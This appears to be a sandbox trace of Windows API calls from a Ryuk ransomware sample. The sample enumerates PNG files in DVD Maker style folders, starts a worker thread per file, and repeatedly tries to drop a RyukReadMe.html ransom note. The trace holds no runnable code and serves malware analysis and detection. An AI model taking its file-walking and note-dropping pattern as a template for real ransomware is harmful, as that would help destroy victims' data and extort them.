	[0177.474] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1
	[0177.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc
	[0177.477] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.477] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x76, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1
	[0177.477] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0
	[0177.479] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.480] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1
	[0177.480] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4
	[0177.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.483] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1
	[0177.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8
	[0177.485] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.486] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1
	[0177.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc
	[0177.489] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.489] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0
	[0177.489] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0177.929] SetLastError (dwErrCode=0x0) 
	[0177.929] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.938] GetLastError () returned 0x5
	[0177.939] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0177.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.939] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x62, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1
	[0177.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34
	[0177.942] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.942] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0177.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0
	[0177.944] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.945] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0177.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4
	[0177.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.947] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0177.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8
	[0177.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.950] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0177.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc
	[0177.953] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.953] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0177.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0
	[0177.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.956] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0177.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4
	[0177.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.960] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1
	[0177.960] SetLastError (dwErrCode=0x0) 
	[0177.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.960] GetLastError () returned 0x5
	[0177.960] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0177.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0178.191] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.191] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0178.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec
	[0178.194] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.195] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0178.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0
	[0178.198] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.198] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x76, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1
	[0178.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4
	[0178.201] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.202] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0178.202] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8
	[0178.204] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.205] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0178.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc
	[0178.207] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.208] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0178.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04
	[0178.210] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.211] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0178.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08
	[0178.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.214] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0178.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c
	[0178.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.218] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0178.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10
	[0178.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.220] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x76, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1
	[0178.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14
	[0178.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
